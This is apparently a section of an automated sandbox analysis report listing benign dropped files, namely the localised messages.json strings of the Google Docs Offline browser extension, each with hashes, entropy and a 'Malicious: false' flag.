MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\nn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
